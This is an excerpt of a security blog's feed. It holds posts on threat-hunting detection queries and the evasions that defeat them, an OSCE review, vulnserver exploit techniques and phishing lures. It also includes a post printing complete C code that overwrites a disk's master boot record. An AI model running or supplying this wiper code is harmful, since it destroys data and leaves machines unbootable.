believe most threat hunters would already be familiar with the Pyramid of Pain. Most hunters aim to detect artefacts and tools, as they are higher up the pyramid. However, there is scarce information available to guide them in doing so. Using my red team knowledge, I would like to expand on the tools segment of the pyramid of pain to help threat hunters write better tool detection queries.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/threathunt.png"&gt;&lt;/p&gt;
&lt;h2&gt;Executable Name&lt;/h2&gt;
&lt;p&gt;To detect the use of &lt;code&gt;nmap&lt;/code&gt;, the most straightforward query would simply be &lt;code&gt;sourcetype=os_logs process.name="nmap.exe"&lt;/code&gt;. Some hunters will stop here and pat themselves on the back for reaching the top of the Pyramid of Pain. Unfortunately, it is one of the easiest query to circumvent. Almost every computer user knows how to rename a file. In this case, renaming &lt;code&gt;nmap&lt;/code&gt; is sufficient to circumvent this query. No self respecting adversary is going to commit this mistake, the only instances of &lt;code&gt;nmap&lt;/code&gt; you detect would be those owned by sysadmins who have no reason to hide their use of the binary. &lt;/p&gt;
&lt;p&gt;Sophisticated adversaries will even choose a name which suits the functionality of the tool. I like using a variant of &lt;code&gt;print discovery utility.exe&lt;/code&gt;. Most printer vendors release utilities which will scan the subnet to detect connected printers and automatically install and configure it. A befitting name for &lt;code&gt;nmap&lt;/code&gt; indeed.&lt;/p&gt;
&lt;p&gt;Also, certain OS binaries like &lt;code&gt;rundll32.exe&lt;/code&gt; and &lt;code&gt;mavinject.exe&lt;/code&gt; will work even if it has been renamed. Adversaries will make a copy of such binaries, place it in a different folder and profit.&lt;/p&gt;
&lt;h2&gt;Version Info&lt;/h2&gt;
&lt;p&gt;Detection based on Version Info resource is more frequently seen in YARA rules and less commonly available in threat hunting solutions. To detect &lt;code&gt;nmap&lt;/code&gt; which is published by &lt;code&gt;Insecure.org&lt;/code&gt;, a query such as &lt;code&gt;sourcetype=os_logs process.version_info="*Insecure.org*"&lt;/code&gt; would be used. I would categorise it as a step above executable name as it causes slightly greater pain for the adversary. Instead of simply renaming the binary, the adversary has to use tools such as Resource Hacker to modify the Version Info. &lt;/p&gt;
&lt;p&gt;If a binary is signed, such a modification would cause the signature verification to fail.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/resourcehacker.png"&gt;&lt;/p&gt;
&lt;h2&gt;CLI arguments&lt;/h2&gt;
&lt;p&gt;Detection based on CLI arguments bring even greater pain to the adversary. To detect &lt;code&gt;nmap&lt;/code&gt;, such a query may look like &lt;code&gt;sourcetype=os_logs (process.command_line="*--top-ports*" || process.command_line="* -p21,*" || process.command_line="* -p22,*"&lt;/code&gt;. In order for the adversary to circumvent CLI argument detection, he will need to modify the source code and recompile the tool, or to change individual bytes in the binary itself. &lt;/p&gt;
&lt;p&gt;A bit of human psychology is at play here. Humans will tend to list numbers in ascending order, i.e. &lt;code&gt;"-p21,22,80,139,443,445,3389"&lt;/code&gt;. Hence, by detecting the first few common ports, we will likely be able to catch most attempts. Listing every single combination exhaustively would just place too much stress on the query engine.&lt;/p&gt;
&lt;p&gt;I have seen hunters write queries such as &lt;code&gt;sourcetype=os_logs process.name="rundll32.exe" &amp;amp;&amp;amp; process.command_line="*zipfldr.dll,RouteTheCall*"&lt;/code&gt;. Such a query is indeed useful in cutting down false positives and only picking up misuse of &lt;code&gt;rundll32.exe&lt;/code&gt;. However, in terms of Pyramid of Pain, such a query would belong to the "Executable Name" level since it breaks once the adversary renames &lt;code&gt;rundll32.exe&lt;/code&gt;. For it to belong at the CLI arguments level, the query should look like &lt;code&gt;sourcetype=os_logs process.command_line="*,RouteTheCall*"&lt;/code&gt;. Of course, when crafting such queries, it is important to find command line arguments which are unique enough to stand alone by itself.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/dllordinal.png"&gt;&lt;/p&gt;
&lt;p&gt;Do take note that DLL exports can be called using their ordinal numbers as well. For example, &lt;code&gt;PrintUIEntryW&lt;/code&gt; is ordinal &lt;code&gt;#3&lt;/code&gt;. Hence, &lt;code&gt;rundll32 printui.dll,PrintUIEntry&lt;/code&gt; can also be executed using the command &lt;code&gt;rundll32 printui.dll,#3&lt;/code&gt;. As far as I know, using ordinal numbers will cause issues with arguments passed to the DLL, hence it does not work for certain LOLBAS. &lt;/p&gt;
&lt;h2&gt;All&lt;/h2&gt;
&lt;p&gt;Writing good queries require a bit of creativity and in depth understanding of the tools involved. I have found JPCERT's &lt;a href="https://jpcertcc.github.io/ToolAnalysisResultSheet/"&gt;resources&lt;/a&gt; to be very useful in understanding the various artefacts that are created when such tools are run. Hunters will also need to run these tools themselves, figure out how they work before they can write good queries.&lt;/p&gt;
&lt;p&gt;This section is named all because a combination of all different indicators used in a creative manner is the answer to good detection with low false positives. Adversaries may adopt some of these tactics to avoid detection, but as long as they miss out on one, you would be able to detect them. i.e. To detect &lt;code&gt;nmap&lt;/code&gt;, a query like &lt;code&gt;sourcetype=os_logs (process.version_info="*Insecure.org*" || process.command_line="*--top-ports*" || process.command_line="* -p21,*" || process.command_line="* -p22,*")&lt;/code&gt; uses multiple indicators. Adversaries will need to circumvent both the Version Info and the CLI arguments portion of the query to escape detection.&lt;/p&gt;
&lt;p&gt;Happy hunting!&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>OSCE review</title><link href="https://limbenjamin.com/articles/osce-review.html" rel="alternate"></link><published>2020-02-08T09:13:00+08:00</published><updated>2020-02-08T09:13:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-02-08:/articles/osce-review.html</id><summary type="html">&lt;p&gt;I have written an &lt;a href="https://limbenjamin.com/articles/oscp-review.html"&gt;OSCP review&lt;/a&gt; and a &lt;a href="https://limbenjamin.com/articles/SANS-SEC660-review.html"&gt;SANS SEC660 review&lt;/a&gt; a few years ago. As time passes, I find these reviews harder and harder to write. Over the years, I have learnt on the job, through my own research and through such courses and CTFs. All this prior knowledge …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have written an &lt;a href="https://limbenjamin.com/articles/oscp-review.html"&gt;OSCP review&lt;/a&gt; and a &lt;a href="https://limbenjamin.com/articles/SANS-SEC660-review.html"&gt;SANS SEC660 review&lt;/a&gt; a few years ago. As time passes, I find these reviews harder and harder to write. Over the years, I have learnt on the job, through my own research and through such courses and CTFs. All this prior knowledge has made it very difficult for me to give an unbiased accurate review of the difficulty of the OSCE course. Nonetheless, I will give some tips on how best to prepare for the exam.  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This cert proves mastery of advanced penetration testing skills. OSCEs have also demonstrated they can think laterally and perform under pressure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Firstly, in Offensive Security's own words, this is an advanced penetration testing course, not a binary exploitation course. I made the mistake of focusing too much on the binary part of the course. Apart from the course material, I practiced on vulnserver, brainpan, Integard, pcmanftp, savant, simplewebserver and yplayer. My lack of preparation in the other aspects caused me quite a bit of suffering during the exam. I would advise you to spend some time working on other penetration testing skills such as enumeration, file transfer and privesc.  &lt;/p&gt;
&lt;p&gt;Many reviews out there suggest completing the SLAE course before attempting OSCE. As part of the SLAE course, candidates will need to submit 7 shellcode exercises in the form of a public blogpost. I did not want to pay for the SLAE course, therefore I simply searched for &lt;code&gt;Student ID: SLAE-&lt;/code&gt;, read the exercise requirements and tried them out on my own. Some of the blogposts have very detailed explanation for the shellcode which helped me especially since I did not have access to the SLAE course material. Do note that the SLAE covers linux shellcoding while OSCE covers windows shellcoding. I would say that being able to write shellcode helped a lot during the exam. I was able to write my own shellcode instead of copy pasting shellcode from shell-storm and hoping that it works.  &lt;/p&gt;
&lt;p&gt;The first 12 hours of the exam was smooth sailing for me. I managed to complete the 2 smaller challenges and had partial credit for the 2 larger challenges. I was well ahead of schedule. However, unbeknown to me at that time, I was woefully unprepared for the penetration testing portion that would come next. After 5 hours sleep on the first night, I continued with the 2 larger challenges. I spent the next 14 hours alternating between the 2 challenges, barely making any progress. By now, I was starting to panic as I did not have enough points to pass. I finally had a breakthrough and solved 1 of the larger challenge after 31 hours in. I completed the final challenge 36 hours in. After spending 2 more hours double checking and taking extra screenshots, I called it a day and had a good sleep knowing that I fully solved all 4 challenges on my first exam attempt.  &lt;/p&gt;
&lt;p&gt;I submitted the report on a Friday morning and received confirmation that I passed on Monday morning. The confirmation was quick probably because I managed to fully complete all objectives. It would probably take longer if they have to work out partial credit.  &lt;/p&gt;
&lt;p&gt;Good luck!&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Vulnserver - Order of difficulty</title><link href="https://limbenjamin.com/articles/vulnserver-order-of-difficulty.html" rel="alternate"></link><published>2020-01-23T23:34:00+08:00</published><updated>2020-01-23T23:34:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-01-23:/articles/vulnserver-order-of-difficulty.html</id><summary type="html">&lt;p&gt;Most guides out there give a walkthrough on solving individual functions within vulnserver. However, when practising for OSCE, I do not want the solutions. Instead, I want to know the order of difficulty of the various functions so I can start from the easiest function and work my way towards …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Most guides out there give a walkthrough on solving individual functions within vulnserver. However, when practising for OSCE, I do not want the solutions. Instead, I want to know the order of difficulty of the various functions so I can start from the easiest function and work my way towards the harder ones. In this article, I am first going to rank the functions in terms of difficulty, then I am going to give a rough explanation on the technique that needs to be used for each function. If you do not want spoilers, please stop reading after the first section.&lt;/p&gt;
&lt;h2&gt;1 - Ranking of difficulty of functions&lt;/h2&gt;
&lt;p&gt;From easiest to hardest:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;TRUN&lt;/li&gt;
&lt;li&gt;GMON&lt;/li&gt;
&lt;li&gt;GTER &lt;/li&gt;
&lt;li&gt;KSTET &lt;/li&gt;
&lt;li&gt;HTER &lt;/li&gt;
&lt;li&gt;LTER &lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition other"&gt;
&lt;p class="admonition-title"&gt;Spoilers Ahead&lt;/p&gt;
&lt;p&gt;Stop reading here if you do not want to know the technique used to solve each function  &lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;2 - Techniques required&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;TRUN - Generic EIP override.&lt;/li&gt;
&lt;li&gt;GMON - Generic SEH override.&lt;/li&gt;
&lt;li&gt;GTER - SEH override with limited buffer space. May require egghunter.&lt;/li&gt;
&lt;li&gt;KSTET - SEH override with extremely limited buffer space. Will require egghunter.&lt;/li&gt;
&lt;li&gt;HTER - EIP override. Input is encoded in a very interesting way.&lt;/li&gt;
&lt;li&gt;LTER - 2 viable methods. EIP override with bad characters, which is the easier method to solve. SEH override with extremely limited buffer space and bad characters. May require ROP chain.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As far as I know, the rest of the functions (STATS RTIME LTIME GDOG KSTAN) cannot be exploited and are probably used to practice fuzzing.&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Free fresh notes for ang bao</title><link href="https://limbenjamin.com/articles/free-fresh-notes-for-ang-bao.html" rel="alternate"></link><published>2020-01-16T19:12:00+08:00</published><updated>2020-01-16T19:12:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-01-16:/articles/free-fresh-notes-for-ang-bao.html</id><summary type="html">&lt;p&gt;I came up with this technique a few years ago and never had to queue for fresh notes for ang bao since. Hence, I believe it is worth sharing.&lt;/p&gt;
&lt;p&gt;When you receive your ang bao this year, do not spend or deposit the fresh notes. Keep it and pass it …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I came up with this technique a few years ago and never had to queue for fresh notes for ang bao since. Hence, I believe it is worth sharing.&lt;/p&gt;
&lt;p&gt;When you receive your ang bao this year, do not spend or deposit the fresh notes. Keep it and pass it to your parents to fill their ang bao for Chinese New Year next year. If desired, you can get your parents to bank transfer the amount to you. You will save time queueing for fresh notes next year and save the environment by reducing the amount of fresh notes needed.&lt;/p&gt;
&lt;p&gt;Happy Chinese New Year!&lt;/p&gt;</content><category term="articles"></category><category term="Untagged"></category></entry><entry><title>Phishing with actual bait</title><link href="https://limbenjamin.com/articles/phishing-with-actual-bait.html" rel="alternate"></link><published>2019-12-16T19:09:00+08:00</published><updated>2019-12-16T19:09:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-12-16:/articles/phishing-with-actual-bait.html</id><summary type="html">&lt;p&gt;If you received an email like the one below, would you try out the voucher code and see if it works? I sure as heck would, there is literally zero risk from doing so. Assuming the voucher code works and your account is credited with $5 immediately, how far would …&lt;/p&gt;</summary><content type="html">&lt;p&gt;If you received an email like the one below, would you try out the voucher code and see if it works? I sure as heck would, there is literally zero risk from doing so. Assuming the voucher code works and your account is credited with $5 immediately, how far would you be willing to go to get an additional $10? I believe many people would not even think twice about clicking on a link, disabling AV, enabling macros, double clicking on exe files, or even lying to IT support...  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/phish.png"&gt;&lt;/p&gt;
&lt;p&gt;In the grand scheme of things, a determined adversary would have no qualms spending a few hundred to gain a foothold in your organization. Checking which voucher codes are used can also help the attacker determine how many targets have opened the email but chose not to proceed with the document. Preventing attackers from gaining entry works only to a certain extent, early detection of compromise is equally important.&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Overwriting MBR</title><link href="https://limbenjamin.com/articles/overwriting-mbr.html" rel="alternate"></link><published>2019-11-01T20:09:00+08:00</published><updated>2019-11-01T20:09:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-11-01:/articles/overwriting-mbr.html</id><summary type="html">&lt;p&gt;We have all come across malware which overwrites the Master Boot Record (MBR) of a machine, leaving it unbootable. The code required to overwrite the MBR is surprisingly simple. We will first need to open a write handle to the physical device using the CreateFile API. The MBR is stored …&lt;/p&gt;</summary><content type="html">&lt;p&gt;We have all come across malware which overwrites the Master Boot Record (MBR) of a machine, leaving it unbootable. The code required to overwrite the MBR is surprisingly simple. We will first need to open a write handle to the physical device using the CreateFile API. The MBR is stored in the very first sector (512 bytes) of the hard drive, it is outside the C:\ NTFS volume, hence we need direct write access to the raw device. The &lt;code&gt;OVERLAPPED&lt;/code&gt; structure is used because we want to be able to control the offset where the first byte is written. For the case of the MBR, the offset is 0 since it is the first sector. However, this technique can be used to overwrite other unallocated sectors outside the file system, in which case the offset will need to be set accordingly.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;


&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CHAR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;OVERLAPPED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;osWrite&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;osWrite&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;osWrite&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;osWrite&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OffsetHigh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;osWrite&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;strncpy_s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Here lies 512 bytes of garbage which will be used to overwrite your MBR... PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING \&lt;/span&gt;
&lt;span class="s"&gt;    PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXX \&lt;/span&gt;
&lt;span class="s"&gt;    PADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGXXXX&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;PhysicalDrive0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_FLAG_OVERLAPPED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_FLAG_NO_BUFFERING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WriteFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hHandle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;osWrite&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;MBR Write Complete&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>FLARE-On 6 - Solve vv_max by hand</title><link href="https://limbenjamin.com/articles/flare-on-6-solve-vv-max-by-hand.html" rel="alternate"></link><published>2019-10-03T21:01:00+08:00</published><updated>2019-10-03T21:01:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-10-03:/articles/flare-on-6-solve-vv-max-by-hand.html</id><summary type="html">&lt;p&gt;After looking at the published solutions for FLARE-On 6, I realised that for challenge 11, vv_max, most people used a script to either reverse the AVX functions or to brute force it. My approach was different, I made use of memory breakpoints strategically placed at the address of the arrays …&lt;/p&gt;</summary><content type="html">&lt;p&gt;After looking at the published solutions for FLARE-On 6, I realised that for challenge 11, vv_max, most people used a script to either reverse the AVX functions or to brute force it. My approach was different, I made use of memory breakpoints strategically placed at the address of the arrays to find out which AVX function modified the array and manually reversed each function to arrive at the 32 character input. Most of the AVX functions tend to involve 1 dynamic variable and 1 static variable which is not affected by the input.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
